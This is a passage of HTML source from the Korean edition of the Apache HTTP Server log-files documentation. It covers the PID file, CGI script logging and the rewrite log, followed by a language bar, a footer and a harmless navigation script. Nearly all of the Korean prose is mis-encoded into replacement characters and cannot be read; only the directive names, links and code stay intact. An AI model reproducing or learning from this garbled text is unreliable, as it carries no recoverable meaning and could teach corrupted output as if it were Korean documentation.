href="./mod/mod_cgi.html#scriptloglength">ScriptLogLength</a></code></li></ul></td></tr></table> <h3 id="pidfile">PID ���</h3> <p>����ġ �������� ����Ҷ� <code>logs/httpd.pid</code> ��Ͽ� �θ� httpd ��μ����� process id�� �����Ѵ�. �� ��ϸ� <code class="directive"><a href="./mod/mpm_common.html#pidfile">PidFile</a></code> ���þ�� ������ �� �ִ�. process-id�� �����ڰ� �θ� ��μ����� �ñ׳�� ���� ������ �����ϰų� ��϶� ����Ѵ�. ���������� ��� -k �����ɼ�� ����Ѵ�. �� �ڼ��� ������ <a href="stopping.html">�ߴܰ� ����</a> ������ ����϶�.</p> <h3 id="scriptlog">��ũ��Ʈ �α�</h3> <p>��� ������ <code class="directive"><a href="./mod/mod_cgi.html#scriptlog">ScriptLog</a></code> ���þ ����Ͽ� CGI ��ũ��Ʈ�� �Է°� ���� ����� �� �ִ�. �� ���þ�� ���� ��Ʈ���θ� ����ؾ� �Ѵ�. ��� ����ϴ� �������� ����ϸ� �ȵȴ�. �� �ڼ��� ������ <a href="mod/mod_cgi.html">mod_cgi</a> ������ ����϶�.</p> <h3 id="rewritelog">��ۼ� �α�</h3> <p><a href="mod/mod_rewrite.html">mod_rewrite</a>�� �����ϰ� ������ ���� ����Ѵٸ� ��� ���� ��� �� <code class="directive"><a href="./mod/mod_rewrite.html#rewritelog">RewriteLog</a></code>�� ����� �ʿ䰡 �ִ�. �� �α����� ��ۼ� ������ ��� ��û�� ��ȯ�ϴ���� ���� �ڼ�� �˷��ش�. �ڼ��� ������ <code class="directive"><a href="./mod/mod_rewrite.html#rewriteloglevel">RewriteLogLevel</a></code> ���þ�� �����Ѵ�.</p> </div></div> <div class="bottomlang"> <p><span>������ ���: </span><a href="../en/logs.html" hreflang="en" rel="alternate" title="English"> en </a> | <a href="../fr/logs.html" hreflang="fr" rel="alternate" title="Français"> fr </a> | <a href="../ja/logs.html" hreflang="ja" rel="alternate" title="Japanese"> ja </a> | <a href="../ko/logs.html" title="Korean"> ko </a> | <a href="../tr/logs.html" hreflang="tr" rel="alternate" title="Türkçe"> tr </a></p> </div><div id="footer"> <p class="apache">Copyright 2026 The Apache Software Foundation.<br>Licensed under the <a href="https://www.apache.org/licenses/LICENSE-2.0">Apache License, Version 2.0</a>.</p> <p class="menu"><a href="./mod/index.html">���</a> | <a href="./mod/quickreference.html">���þ��</a> | <a href="https://cwiki.apache.org/confluence/display/httpd/FAQ">FAQ</a> | <a href="./glossary.html">���</a> | <a href="./sitemap.html">���Ʈ��</a> | <a href="https://bz.apache.org/bugzilla/enter_bug.cgi?product=Apache%20httpd-2">Report a bug</a></p></div><script><!--//--><![CDATA[//><!-- if (typeof(prettyPrint) !== 'undefined') { prettyPrint(); } var langToggle = document.querySelector('.lang-toggle'); var topLang = document.querySelector('.toplang'); if (langToggle && topLang) { langToggle.addEventListener('click', function() { topLang.classList.toggle('open'); }); } var qv = document.getElementById('quickview'); if (qv) { document.body.appendChild(qv); var qvBtn = document.createElement('button'); qvBtn.className = 'qv-toggle'; qvBtn.setAttribute('aria-label', 'Toggle page navigation'); qvBtn.innerHTML = '☰'; document.body.appendChild(qvBtn); qvBtn.addEventListener('click', function() { var isOpen = qv.classList.toggle('open'); if (isOpen) { qv.style.top = window.scrollY + 10 + 'px'; } }); window.addEventListener('scroll', function() { qv.classList.remove('open'); }); } //--><!]]></script> </body></html>